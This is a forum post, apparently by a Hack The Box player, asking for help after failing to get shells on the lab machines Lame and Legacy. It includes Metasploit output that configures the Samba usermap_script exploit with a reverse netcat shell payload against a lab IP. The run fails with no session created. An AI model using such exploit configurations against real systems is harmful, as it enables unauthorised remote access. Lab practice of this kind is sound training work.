Not able to gain access to Lame & Legacy (Hackthebox)
I have tried resetting HTB & tried using manual methods on both of the machines to no avail.
For legacy I tried to use the MS08-068 exploit. Lame I used samba/usermap_script.
Thanks
I have tried resetting HTB & tried using manual methods on both of the machines to no avail.
For legacy I tried to use the MS08-068 exploit. Lame I used samba/usermap_script.
Code
msf5 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.3 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.157.129 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.157.129:4444
[*] Exploit completed, but no session was created.
msf5 exploit(multi/samba/usermap_script) >
